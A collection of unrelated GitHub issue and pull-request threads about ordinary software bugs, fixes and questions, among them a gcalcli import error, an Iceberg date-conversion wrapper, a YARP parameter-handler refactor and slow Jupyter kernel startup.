Import error

Gcalcli has been working flawlessly for quite some time for me now -- thank you!  After a recent update (via Debian), I have noticed import errors.  The other functions (creating events, getting agenda, etc) are working.
% gcal import -d event.txt
Traceback (most recent call last):
File "/usr/bin/gcalcli", line 2500, in <module>
    BowChickaWowWow()
  File "/usr/bin/gcalcli", line 2490, in BowChickaWowWow
    gcal.ImportICS(FLAGS.verbose, FLAGS.dump, FLAGS.reminder, FLAGS.file)
AttributeError: 'Namespace' object has no attribute 'reminder'`

Attached is the event file (Outlook) edited to remove personal details.
event.txt

Closing since it appears that @michaelmhoffman fixed this.

Installed 4.0.0a3 via apt-get: Got that import error above.
Removed it, pip-installed v3.4.0: Got https://github.com/insanum/gcalcli/issues/338.
pip-installed vobject: Imported OK.
My .gcalclirc, anonymized:
<EMAIL_ADDRESS>--client_id=###myapikey###.apps.googleusercontent.com --client_secret=###mysecret###
Since there are several Python releases installed here, i don't know which one gcalcli uses. Sorry.
regards,
-- wolflike

Sorry, I'm not sure if I understand.  You're reporting that you get the import error when using python3, is that correct?  It seems like it might be good to get 4.0.0a5 into the Ubuntu release instead of a3, as several bugs were fixed.
I believe that this was fixed in af061db5 (#357) when I moved the next call to six.

Hi,
as i said, i don't know. How would i determine the Python version used by gcalcli, with several different installed?
Also, i forgot to mention, i'm using Debian Testing, and the 4.0.0a3 came from Debian repos.
I see now in https://packages.debian.org/cgi-bin/search_packages.pl?keywords=gcalcli&searchon=all&subword=1&case=insensitive&version=all&release=all, (Ubuntu ditto) that a4 has become available. Now where would i get a 4.0.0a5 DEB package from?
--
regards,
-- wolflike

Hi, there may not be a deb package yet for 4.0.0a5.  But you could git-clone this repo and run the latest code in a virtual environment with a python of your intentional choice.
If you didn't want to go that route, I'm reasonably sure that gcalcli is just going to run using your system's default python, so just type "python" at a command prompt and see what version starts.  But really, the question to you is whether you're using a version which imports next from six (to provide compatibility with both python2 and python3).  If you just want to find that out find the location of the gcalcli executable and grep for "next", if you find the line which looks like this:
    from six import next

then I'll eat my hat and I'll have to try to fix your bug!

Hi,
well, as i said, i'm making do with 3.4.0, which until now works Ok for me.
Maybe i'll try the Github version some time later.
Apparently, my default python version is
`$ python
Python 2.7.15+ (default, Aug 31 2018, 11:56:52)
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.

. For some reason, i'm unable to locate 4.0.0-a3 anwhere; the -a4 available indeed does not have any from six import next` or words to that effect. Your hat gets a temporary reprieve.

--
regards,
-- wolflike


Fix Features in kube-core

I forgot to propagate features when moving things to kube-core.
Also, I noticed that you yanked 0.54. What happened?

What happened?

See #525

Superseded by #528


Btn Style

Add better styling to buttons similar to https://codepen.io/flvffywvffy/pen/rNoeymB
⭐If you'd like to contribute, comment to let me know and I will re-assign to you.

You can assign me for this issue.

Thanks, @erenaygunn!


Ebay Category Issue

Hi, I have question regarding the ebay categories. can i get a specific categories from ebay by using products categories came from amazon and attach to add item function in ebay?
I just want to post products to ebay using the products from amazon and my issue is i cant get specific categories by using the product categories from amazon.
Thanks & Regards.
JeromeD

Are you wanting to automatically convert an Amazon category ID to an eBay category ID? If so then you won't be able to do it via the API.
You may be able to instead use GetSuggestedCategories You could pass the title of the Amazon product and let eBay suggest which categories on eBay to use.

Ohh. i see. thanks david. will try it. :)


remove extra copies of omatcopy kernels

generic originals stay in arm & generic the way Makefile.L3 understands it
"no change" testing wise.

will do more profound approach.

will do more profound approach.


[Question] What is a changeGroup?

Everything is in the title! I was reading through parts of the code and wondered what a changeGroup is. I have a vague idea from where it is used but I am not quite sure; a one-sentence explanation would be amazing :-)

An excellent question!
Wanting a good answer to this question is one of the big reasons I want a wiki ( #66 ) but here's a casual short-ish explanation in the meantime...
When we were building this, we wanted to have really good descriptions of the steps. In the blog post I have a short passage that says:

We also want to allow users of mathsteps to reference what changed specifically in the expression, for example “add 2 and 3 to make 5”. We keep track of what part of the tree changed in the node.

If you ran mathsteps on x + 2 + 3 you'd get a single step with step.oldNode being the tree for x + 2 + 3, and step.newNode being the tree for x + 5. Also, step.changeType would be SIMPLIFY_ARITHMETIC.
In our app, we don't want the message to be "simplify arithmetic", we want it to be "add 2 + 3 to get 5" or something like that. So the oldNode and newNode need to store what part of the tree was changed. In oldNode, the 2 and 3 nodes in the tree have the added property changeGroup = 1. And in newNode, 5 also has changeGroup = 1. The change groups are indexed because for something like collecting like terms (x + x^2 + x^2 + x -> (x^2 + x^2) + (x + x)) it's ideal to have different change groups for the xs and the x^2s
For the most part, these change groups are added by default in NodeStatus creation, but sometimes custom ones are necessary (like the like terms collecting) and it's done while the change is calculated.
Also, this change group stuff is still pretty buggy/incomplete and won't always do what's best - this is something that would be nice to eventually spend some time on and improve but there are some tricky things that make some cases pretty hard.
Hope that makes some sense - I know it's not one sentence but it's a bit complicated (which is also why I didn't talk about it in the blog post). Let me know if you have any follow-up questions!

I see; that's what I thought (I was looking for the part of the code keeping track of which nodes changed) but wasn't quite sure why it was indexed; thanks!

Navigating the current codebase and would like to contribute in adding a wiki should I get to understand the whole working.


how to make sure trx makes the same database on each node

Two questions:
1:  Trx runs on each node. how to make sure  it produces the same contract database.  I see the hyperledger fabric can do it
2:   Is there any benchmark of the eos?  where to find it?
thanks

Please contact<EMAIL_ADDRESS>is you require additional information.


Profile and optimize the frontend performance of Zulip

The backend performance for the Zulip homepage is really good, but I think there's likely some low-hanging fruit on the frontend performance side of loading the Zulip homepage.

From #1177, testing in an environment with 1000 streams:
"populate_subscriptions is kinda slow, and a lot of the time is spent in build_stream_sidebar_row initializing the jquery object via $(templates.render('stream_sidebar_row', args));; maybe it's worth trying removing the $() around the templates.render in that function? Might require a bit of restructuring, but it seems like that could improve the homepage load time by half a second."

This isn't a great issue since it's an ongoing sort of thing; after profiling, we're actually still super fast; the only thing we found that seems worth working on is the issue I mentioned above, which I've opened as https://github.com/zulip/zulip/issues/2181


Convert date and timestamp values in generics

This fixes https://github.com/apache/incubator-iceberg/issues/972.

Thanks, @chenjunjiedada, but I don't think this is the right solution to the problem. This adds quite a bit of logic to get and changes the class argument so that it is a type request -- so the record will convert a value to the requested type. But get is used in a tight loop and we don't want it to do that additional work to not only return a value, but detect what it is supposed to convert to and do that conversion. Also, this changes the contract of a public method and we don't want to make additional guarantees here.
Instead, the accessors that are build when binding the message to an expression should be used. This happens in Spark, where string values are converted from UTF8String to a CharSequence using a StringAccessor. This should be similar, where a DateAccessor, or TimestampAccessor is used to return the right internal representation from a record that stores LocalDate or OffsetDateTime.

@rdblue, I added accessors to Accessors in the api package (tried to build accessors for GenericRecord but it needs more basic changes).
The unit test testDayPartitionedTimestampFilters from testFilteredScan.java failed because transform.day doesn't produce date value but assume it is date type. I open https://github.com/apache/incubator-iceberg/issues/984 to track this.

@chenjunjiedada, please take a look at #1038. The test cases here made me think about the existing tests. Ideally, we would extend those tests with assertions for sequence numbers rather than only testing a subset. That PR demonstrates how we would do that, by adding validation methods that test sequence numbers if they are provided. It also uses assertions that only apply for a specific table version, like V2Assert.assertEquals.
That would be a more thorough way to accomplish what you're trying to do here. Would you like to use that approach?

Thanks @rdblue , I suppose your comment is for https://github.com/apache/incubator-iceberg/pull/974. Right?

@chenjunjiedada, you're right. It looks like I made that comment on the wrong PR. Sorry for the confusion.

@chenjunjiedada, I think what you have here works, but right now we have two sets of accessors (Spark and internal) and we would need more for other data models.
I think what we need to do instead is to separate the concerns. Accessors should understand structure and rows should return the correct value types. That way we can eventually move to use the same accessors and we will just need rows that correctly translate for StructLike.
How about using a wrapper class like this one when passing records? Would that work?
class InternalRecordWrapper implements StructLike {
  private final Function<Object, Object>[] transforms;
  private StructLike wrapped = null;

  @SuppressWarnings("unchecked")
  InternalRecordWrapper(Types.StructType struct) {
    this.transforms = struct.fields().stream()
        .map(field -> converter(field.type()))
        .toArray(length -> (Function<Object, Object>[]) Array.newInstance(Function.class, length));
  }

  private static Function<Object, Object> converter(Type type) {
    switch (type.typeId()) {
      case DATE:
        return date -> DateTimeUtil.daysFromDate((LocalDate) date);
      case TIME:
        return time -> DateTimeUtil.microsFromTime((LocalTime) time);
      case TIMESTAMP:
        if (((Types.TimestampType) type).shouldAdjustToUTC()) {
          return timestamp -> DateTimeUtil.microsFromTimestamptz((OffsetDateTime) timestamp);
        } else {
          return timestamp -> DateTimeUtil.microsFromTimestamp((LocalDateTime) timestamp);
        }
      case FIXED:
        return bytes -> ByteBuffer.wrap((byte[]) bytes);
      case STRUCT:
        InternalRecordWrapper wrapper = new InternalRecordWrapper(type.asStructType());
        return struct -> wrapper.wrap((StructLike) struct);
      default:
    }
    return null;
  }

  public InternalRecordWrapper wrap(StructLike record) {
    this.wrapped = record;
    return this;
  }

  @Override
  public int size() {
    return wrapped.size();
  }

  @Override
  public <T> T get(int pos, Class<T> javaClass) {
    if (transforms[pos] != null) {
      return javaClass.cast(transforms[pos].apply(wrapped.get(pos, Object.class)));
    }
    return wrapped.get(pos, javaClass);
  }

  @Override
  public <T> void set(int pos, T value) {
    throw new UnsupportedOperationException("Cannot update InternalRecordWrapper");
  }
}

@rdblue , The wrapper class tries to do something like the first commit I submit, IIUC, it should work but that would cause the concerns you raised before (impact perf in the tight loop and break the contact).  Plus, the class doesn't handle the LIST and MAP, maybe we need a visitor to build transforms?

I think what we need to do instead is to separate the concerns. Accessors should understand structure and rows should return the correct value types. That way we can eventually move to use the same accessors and we will just need rows that correctly translate for StructLike.

Either one of the concerns gets solved should work, right? Given that we will have more data models (PIG, HIVE, Flink and etc..), eventually we will need more accessors or wrapper classes. IMHO, the accessor way looks a bit cleaner, actually, we could make the functions and subclasses in StructLike accessor as public, so that others could inherit from that. Does this make sense to you?

You're right that it's more similar to your original commit than to my suggestion to use accessors. The other issue with accessors made me think that conversion should not be tightly coupled there.
This is also a bit different from your original version: the GenericRecord class isn't modified. Instead, it is wrapped to produce the internal representations. The original version detected when it needed to convert based on the requested class, which is what I wanted to avoid. This converts values using a list of transforms determined when the wrapper is created. For example, if position 5 is a date, then it is always transformed when it is returned. This cuts down on the amount of work done fetching each value.

Also, to address your comment that the accessors approach is cleaner, we already have two copies of the accessors (in Spark and in API) and running evaluators on another object model would require another copy. Moving the conversion responsibility to a wrapper means we can use the same accessors in other places. And a wrapper also fits well with the need to adapt other record models to StructLike. We can build a StructLike wrapper for Avro records, for example.
This doesn't support lists and maps because those can't be used in expressions. If we start supporting expressions that operate on collections, we would need to build a visitor like you suggested.

@rdblue, I have updated to use wrapper class, would you please take another look?

@chenjunjiedada, it looks great! Just one thing to fix: we don't want to create a new wrapper each time we evaluate the predicate.
Thanks for fixing this, and for trying different approaches until we found the right one.

@rdblue , you are welcome! Also, thank you for the great patient on reviewing!

This is strange, the local build passed. Let me rebase and test again.

This commit: e8f7379ffe253623e9dd27a1ada7d4421af8b937 break the unit tests. Looks like it doesn't handle timestamp with the zone. Anyway, I will take a look on this.

Thanks, @chenjunjiedada. I merged this.
@shardulm94, we should fix the new test that fails for ORC pushdown in a separate PR. I didn't want to block this PR on an unrelated issue.

@rdblue Ack, on it.


Small refactoring of ParametersHandler

Initially, the refactoring started adding utility functions like make_unique, or the possibility to set the handler from another generic object. Then, @GiulioRomualdi realized (https://github.com/dic-iit/bipedal-locomotion-controllers/issues/20) there were issues with the usage of unique_ptr which caused other issues about ownership and how the groups were handled.
One possibility to fix these issues was to return a weak_ptr to the group. In this way, it is clear who owns the group and ideally, any parameter modified in the group would have appeared also in the original handler. But then the issue was that the original handler should have held a shared pointer to group. Then, I decided that the handler should also contain a map where I associate the group name to a shared pointer containing the group. But, how to populate this map? And here the complications started.
The definition of "group" is foggy in yarp. Indeed, any list can be treated as a group. In fact, given its internal representation, the following appeared to be the same:

"joint_list" (torso neck)
NEW_GROUP (frame torso).

The actual discriminant is the user himself, meaning that he only knows which key corresponds to a group and which one to a list. Hence, I thought of populating the group map only after a user request. The user call getGroup("gianni"), then I know that "gianni" is a group, create the shared pointer and move the group from the container to the map. Profit (?). Nope, getGroup is const and it absolutely makes sense for it to be so.
Another idea, populate the map together with the container as soon as the handler is created. Since we cannot know how to distinguish groups from lists, we treat every list as a group. Not so fast. Consider the case we have a list like
"joint_list" (torso neck knee)

This would have been treated like a group named "joint_list" with a parameter named "torso" whose value is "neck". "knee" is gone. This because internally we use a yarp::os::Property to store the parameters and it requires every value to have a key. Those elements which don't satisfy this pattern are simply lost.  For this reason, I decided to use directly a yarp::os::Bottle as a container.
Finally, every list is stored into a new handler and by using a yarp::os::Bottle we avoid losing data. Hence, "joint_list" (torso neck knee) would be stored into a new handler pointed by a shared pointer from the original handler. Now, in order to make sure that getParameter("joint_list") actually returns our beloved list, we also need to search if any of the pointed lists has the name "joint_list". Since the utilities to get a list out of a Searchable (like a Bottle) were already in place, I wanted this line to work
lists.at(parameterName)->getParameter(parameterName, parameter);

This was possible by adding the name of the group into the Bottle of the group itself. Bonus point, this makes printing easier.
Tl;Dr
All the functionalities we had before are preserved plus:

there is a specific method (not const) to set a new group
a group is returned with a weak_ptr
any modification in the group is reflected in the handler from which we retrieve it
we can clear the handler
we can set the handler also after its creation
added new test cases, including one with an actual config file.

Fine! Let me know if I can merge it

As soon as we have the green flag from CI, I think we can merge.

All checks have passed. Merging!


Update HTTParty dependency

Hello! I tried to use this gem today, but the following steps:
$ gem install cloudapp_api
$ irb
>>> irb(main):001:0> require "cloudapp_api"

Resulted in the following error:
NameError: uninitialized constant HTTParty::BasicObject
  from /Users/adammck/.rbenv/versions/2.1.5/lib/ruby/gems/2.1.0/gems/cloudapp_api-0.4.0/lib/cloudapp/httparty.rb:5:in `<module:HTTParty>'
  from /Users/adammck/.rbenv/versions/2.1.5/lib/ruby/gems/2.1.0/gems/cloudapp_api-0.4.0/lib/cloudapp/httparty.rb:3:in `<top (required)>'
  from /Users/adammck/.rbenv/versions/2.1.5/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in `require'
  from /Users/adammck/.rbenv/versions/2.1.5/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in `require'
  from /Users/adammck/.rbenv/versions/2.1.5/lib/ruby/gems/2.1.0/gems/cloudapp_api-0.4.0/lib/cloudapp_api.rb:6:in `block in <top (required)>'
  from /Users/adammck/.rbenv/versions/2.1.5/lib/ruby/gems/2.1.0/gems/cloudapp_api-0.4.0/lib/cloudapp_api.rb:5:in `each'
  from /Users/adammck/.rbenv/versions/2.1.5/lib/ruby/gems/2.1.0/gems/cloudapp_api-0.4.0/lib/cloudapp_api.rb:5:in `<top (required)>'
  from /Users/adammck/.rbenv/versions/2.1.5/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:135:in `require'
  from /Users/adammck/.rbenv/versions/2.1.5/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:135:in `rescue in require'
  from /Users/adammck/.rbenv/versions/2.1.5/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:144:in `require'
  from (irb):1
  from /Users/adammck/.rbenv/versions/2.1.5/bin/irb:11:in `<main>'

It's a pretty simple fix -- this gem seems to have been written back when HTTParty was providing its own implementation of BasicObject, which was subsequently removed when (I think) they dropped Ruby 1.8 support. So I just updated the name and fixed the broken tests.

Coverage remained the same at 100.0% when pulling 9beaf93bd424722eb27fe4a90b89f5128c831dd5 on adammck:update_httparty into 6e1cecfaaff3ef3f3a300e06c19cf1e53b6e2205 on aaronrussell:master.

Travis failed because 1.8 is no longer supported (by httparty). Should I update .travis.yml?

@adammck thanks for this. Yes, can you update travis.yml so it passes, then I'll merge and release a new version and add a warning to the readme for Ruby 1.8ers to stay on 0.4. Thanks

Coverage remained the same at 100.0% when pulling 358f1c2ae0cb95bd60397fcec32c1bf9ac97951b on adammck:update_httparty into 6e1cecfaaff3ef3f3a300e06c19cf1e53b6e2205 on aaronrussell:master.

Okay, build's fixed by removing Ruby 1.8 support.


Error loading login page of "Instagram"

I recently started getting an error with the instagram login. The window opens as expected and shows the instagram login form, however once entering my credentials and hitting Log in the window immediately closes before the authorization step and the error is: Error loading login page of "Instagram". Has anyone else run into this recently? It seems to happen if you've already approved the app.

yes just started getting a similar issue on ios. The instagram signin page loads but then in xcode console
webView:didFailLoadWithError - -999: The operation couldn’t be completed.
(NSURLErrorDomain error -999.)

I have same problem here.

I have same problem


update "recursively find all files with given predicate" to use follow_links

example for issue #182

@alisha17 excellent work :+1:!

Please run rustfmt on the example and we are good to merge.
It should produce only these changes:
@@ -14,7 +14,10 @@ error_chain! {

 fn run() -> Result<()> {
     // List recusively all accessible files in the current directory
-    for entry in WalkDir::new(".").follow_links(true).into_iter().filter_map(|e| e.ok()) {
+    for entry in WalkDir::new(".")
+            .follow_links(true)
+            .into_iter()
+            .filter_map(|e| e.ok()) {
         // Get entry's filename

Nicely done!


New release

Hi, I appreciate there are other issue open on this, but a few months passed.
I am using a forked version of this repo directly as a dependency, and I guess other people is too.
Is there any plan to cut a new release or is everyone supposed to switch to some other package?
thanks
Luca

@lucacorti Can I know which forked version are you using? is it this: https://www.npmjs.com/package/@mozaic-ds/postcss-sass?

@patrickxchong I'm using https://github.com/sinankeskin/postcss-sass

Thanks all for your patience. I've just released 5.0.0


canonical url is incorrect in website header

<link rel="canonical" href="http://localhost:4000/"> is incorrect.

Didn't found that link


Make X509 serial number parsing code compatible with YARA (#954)

Issue: #954

I've merged the PR but I guess we'll also need changes to https://github.com/avast/retdec-regression-tests/ because some test will fail because of this change. Once TC runs it, you'll exactly know which one.


Similar to Issue #132171

Every time I open VS Code then close it I get a dialog saying "Updating Visual Studio Code...".  This started recently (I don't use VSCode much so haven't opened it in a month or so).
After 60 seconds or so I get another dialog saying "There was an error while Opening file handle: "D:\Microsoft\VSCode\logs\custom-scanners-service.log": Failed to create file handle: The process cannot access the file because it is being used by another process.  Please verify there are no Visual Studio Code processes still executing."
Looking at task manager I see VSCode's "inno_updater.exe (32 bit) (2)" is running and "Setup/Uninstall (32 bit)" is running.  Looking further down in the background processes running I see "Visual Studio Code Setup (32 bit)".
My solution is to cancel everything and not mess with VSCode, but there is probably a better solution.
Windows 10 Pro
Build 18362
Visual Studio Code
Version: 1.64.2 (user setup)
Date: 2022-02-09T22:02:28.2527 (4 wks ago)
Electron: 13.5.2
Chromium: 91.0.4472.164
Node.js: 14.16.0
V8: 9.1.269.39-electron.0
OS: Windows_NT x64 10.0.18362

/duplicate #47841
As a workaround, please disable Windows background updates by setting update.enableWindowsBackgroundUpdates to false.


Swift 3 Update

This is a working Swift 3 / Xcode 8 update :

This branch was cloned from master
Every file change is represented in a separate commit
SwiftyJSON is not officially updated to Swift 3, so I used this working PR

Tested on : iOS 9 and 10

Cool 👍 Thanks !


FW-1921

Fixes: "When an account isn't associated with a dialect, the registrations link shows & points to undefined"

Thanks for the review @gmcauliffe


fix(makefile): executes OC cli only if needed

Fixes #653

/test openshift

@bartoszmajsak: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

e2e-tests-openshift
1d82a0d06c9d26a90fa839f18c43fb6ed94a7522
link
/test openshift

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test openshift

@bartoszmajsak: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

e2e-tests-openshift
1d82a0d06c9d26a90fa839f18c43fb6ed94a7522
link
/test openshift

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test openshift

@bartoszmajsak: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

e2e-tests-openshift
1d82a0d06c9d26a90fa839f18c43fb6ed94a7522
link
/test openshift

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test openshift

@bartoszmajsak: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

e2e-tests-openshift
1d82a0d06c9d26a90fa839f18c43fb6ed94a7522
link
/test openshift

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test openshift

@bartoszmajsak: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

e2e-tests-openshift
1d82a0d06c9d26a90fa839f18c43fb6ed94a7522
link
/test openshift

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test openshift

@bartoszmajsak: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

e2e-tests-openshift
7d556e975a4ba4d774b076ccc79ff5547a92a5ab
link
/test openshift

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test openshift

@bartoszmajsak: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

e2e-tests-openshift
7d556e975a4ba4d774b076ccc79ff5547a92a5ab
link
/test openshift

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test openshift

/test openshift

/test openshift

/test openshift

@bartoszmajsak: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

e2e-tests-openshift
27fc9bd1e622f3665ab79cb82cff766277297b0c
link
/test openshift

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test openshift

@bartoszmajsak: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

e2e-tests-openshift
27fc9bd1e622f3665ab79cb82cff766277297b0c
link
/test openshift

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test openshift


Readthedocs page gives a 404

This link is dead for me https://clue.io/cmapR/index.html

thanks, will look into it
On Tue, Sep 3, 2019 at 12:04 PM Ben Siranosian<EMAIL_ADDRESS>wrote:

This link is dead for me https://clue.io/cmapR/index.html
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/cmap/cmapR/issues/31?email_source=notifications&email_token=AAO6F3Y5DCHFK4VBPIKKGGDQH2DINA5CNFSM4ITIEO4KYY3PNVWWK3TUL52HS4DFUVEXG43VMWVGG33NNVSW45C7NFSM4HJA4E4Q,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAO6F37MMSXNCAJQK3EWTQDQH2DINANCNFSM4ITIEO4A
.

As a side note, I've been using  cmapR in my new lab, primarily for taxonomic classification of metagenomic samples. It's really helpful for keeping the taxonomy (Domain, phylum, class, order... etc) along with the data matrix!

Excellent, glad to hear it! Hope things are well with you
On Wed, Sep 4, 2019 at 9:14 AM Ben Siranosian<EMAIL_ADDRESS>wrote:

As a side note, I've been using cmapR in my new lab, primarily for
taxonomic classification of metagenomic samples. It's really helpful for
keeping the taxonomy (Domain, phylum, class, order... etc) along with the
data matrix!
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/cmap/cmapR/issues/31?email_source=notifications&email_token=AAO6F35TRLAKQLOVGSE5H3TQH6YBZA5CNFSM4ITIEO4KYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD53QTSI#issuecomment-527894985,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAO6F37ZEOAPKT3V452JPJTQH6YBZANCNFSM4ITIEO4A
.


Map Marker can be way off.

Hello Ottermandias,
I am currently using GatherBuddy and noticed, that usually the Map Maker placement is pretty spot on, but I just farmed some Flax and it ported me to Camp Tranquil, but the Flag was placed at the very northern end of the map.
The same just happened (editing as I write) with Underground Spring Water. The first time, it marked the proper spot, now the 2nd time, it placed the marker way off in the South.

Hey!

Hey!

Fixed here, automatic update in Dalamud pending on pull request.

Fixed here, automatic update in Dalamud pending on pull request.


set target_url

Signed-off-by: Gong Su<EMAIL_ADDRESS>

publish this please

test this please

test this please


jupyter takes very long time to start kernel for remote with no public internet access

Environment data

VS Code version: 1.77.3
Jupyter Extension version (available under the Extensions sidebar): v2023.3.1201040234
Python Extension version (available under the Extensions sidebar): v2023.6.1
OS (Windows | Mac | Linux distro) and version: Windows_NT x64 10.0.22621
Python and/or Anaconda version: 3.8.13
Type of virtual environment used (N/A | venv | virtualenv | conda | ...): conda
Jupyter server running: Remote (with no public internet access)

Expected behaviour
starts jupyter kernal instantly once connected to server
Actual behaviour
the first time starting kernel (after connect to server) takes about 5-10min .
behavior very similar to that of https://github.com/microsoft/vscode-jupyter/issues/11856
Steps to reproduce:

mannuly install vscode server (by downloading tar, scp to server and extract remotely)
connects to server via remote ssh
opens .ipynb

Logs

partial logs

debug 20:18:44.972: End cell 2 execution @ undefined, startedd @ undefined, elapsed time = 0s
debug 20:18:44.973: VSCodeNotebookController:: handleExecutionn, Class name = db, completed in 258025ms, has a falsy returnvalue
debug 20:18:52.206: interpreterPackages getPackageInformation, Classname = Kd, completed in 270594ms, has a falsy return value, Arg 1: {"iinterpreter":{"id":"/root/miniconda3/envs/py38/bin/python", "sysPrefix":"/root/miniconda3/envs/py38","envPath": {"$mid":1,"fsPath":"/root/mini"Lconda3/envs/py38","path":"
root/miniconda3/envs/py38","scheme":"file"},"displayPath": {"Ssmid":1,"fsPath":"/root/miniconda3/envs/py38","path":"/root/miniconda3/envs/py38","scheme":"file"},"envName":"py38","displayName":"py38","envType": "Conda","isCondaEnvWithoutPython":faalse,"version":{"major":3,"minor":8,"patch":13,"raw":"3.8.13
(default, Mar 28 2022, 11:38:47) \n[GCC 7.5.0]"},"uri":{"$mid":1,"fsPath":"/root/miniconda3/envs/py38/bin/python",""externaal":"file:///root/miniconda3/envs/py38/bin/python","path":"/root/miniconda3/envs/py38/bin/python","scheme":"file"}}}
everything 20:18:52.207: Telemetry Event : DATASCIENCE.NOTEBOOOK_START Measures: undefined Props: {"resourceType":"notebook","resourceHash": "0021d26b8d26c8d23b1270eb07fbf97eb1b891c191cc30c2cda21db29a77898a","kernelSessionId":"da8c39675929ba2e7eeb3e8ab33ee3606a473311dae54fbfdd7b8dd59e3c93a7b",
"capturedEnvVars": true","userExecutedCell": true","disableUII":"false","kernelLanguage": "python", "kernelid":"d0d9a5057d8e769fc009e0400782c928697a4249d0008b66247acb367d410ba7", "kernelSpechash": "0029fe20e8466d1816efe0a9d80c727877a2d0e7bcea6fe186c2a48b870537cb","pythonEnvironmentType": "Conda",
"pythonEnvironmentPath":"8004ef2893cd8ba7bcbe56b84cb0d06ac01e074b775ed352f293a083b0ffbcee","pythonEnvironmentVersion":"3.83.13","kernelConnectionType":"startusingPythonInterpreter", "pythonEnvironmentPackages": "{\'10179407bb8db6eccacc6da9ca62c2blbbb03bceec4db91e8a021d473e26a5d6c\':\'6.16.0\'
\'89e1278be8b894a35e73eaa5c2afd0f745961fd702a4704b2d9c4f1e825F3671\':\'0.2.0\',\'9916a5fb8a8d51c14412e88aed988e4404cd55f7b96Sa71c51d539b3cc15ca1eb97\' :\'NOT INSTALLED\',\'897912f1d7a38112511452e440bf4c54ef8e57a665e40648e89207d6628a2fd8\':\'NOT INSTALLED\'
\'3ce399db4dc985069ce539ac0a6cb94e8dd3d49f36dd0b7477088e013589991251\':\'4.11.1\',\''''''''''''''''[<IP_ADDRESS>](http://<IP_ADDRESS>/)\'\'d927Ca7348e57348e57348e5rrdb0af3535e1070009a91978\';\'7.7.2\'''d3e7ab21472587eb5ec6e05d0463e93a0b01F604b20c3def0e395b82a268fde5\':\'7.2.3\'',
\'94e6eda30eae43351771fb7e325569f30a9795fd919105b9710e95fdc94e0d66\':\'5.7.0\'', \'b53bcr919f24746d72094b8b86c0325cr40723d3d63240705db51a27b2261bc96\':\'6.5.2\', \'d60b76184370a4ed8fd706458d5bbr85163ar824d90732dd0f2e0c0897cd1c68\':\'24.0.1\',
\'904075f7a02bc2bda9f4d0cb02f379d7f97c1c0470a4d646ddb5e2ff60e10793\':\'NOT INSTALLED\'\'83716a35515f728928d7ce0aaa73e3445679d939169124b88fec90b522c45179\':\'6.2\'',\''840eb2c1c4b044921f16d4affecb7e8d16837e3aaa81f0df570a65851411acb60\':\'5.5.0\'}","isInsiderExtension":"false",
"ispythonExtensioninstalled": true","rawKernelSupported": "true", "VSCoode.ABExp.Features": ","abexp.assignmentcontext":"","isamlcompute":"false"
everything 20:18:52.207: Telemetry Event : DS_INTERNAL.GET_AOCTIVATED_ENV_VARIABLES Measures: {"duration":1} Props: {"enviype": "Conda","source":"python","failed":"false","reason": emptyVariables","isInsiderExtension": false","isPythonExtensionlInstalled": "true","rawKernelSupported": "true","VSCode.ABExp.
Features":"","abexp.assignmentcontext":"","","isamlcompoute":"false"

Thanks for filing this issue, however the steps to repro are very vague and not sufficient.
Are you connecting to a remote jupyter server, it does not look like you are
Also not sure what you mean by with no public internet, does having internet access make this fater? Asking because I'm not entirely sure why that was mentioned, possible it has some importance that I'm not seeing.

very long time to start kernel

Can you give me an idea of how long this is, 10  minutes, 5 minutes, 1 minute

partial logs

Based on the logs, I do not see any delay.
Please could you enable logging as follows and share the full logs (instead of a screenshot, you can just copy all of the text and paste here)

Open settings & go into Jupyter->Logging
Change the value to verbose
Reload VS Code,
Attempt to repro the issue & then copy the output from the Jupyter output panel.

because the company server updates firewall to restrict ANY internet access from outside of the company.
And the kernel starts up pretty fast before that.
This is another portion of log that shows unreasonable amount of loading time, perhaps this is due to ipywdigets request?

sorry, took me a while to finnaly get the log out of server
jupyter.log

Workspace not trusted

Looks like your workspace is not trusted, please could you ensure the workspace is trusted,
Then reload vscode and try running the cell once again.

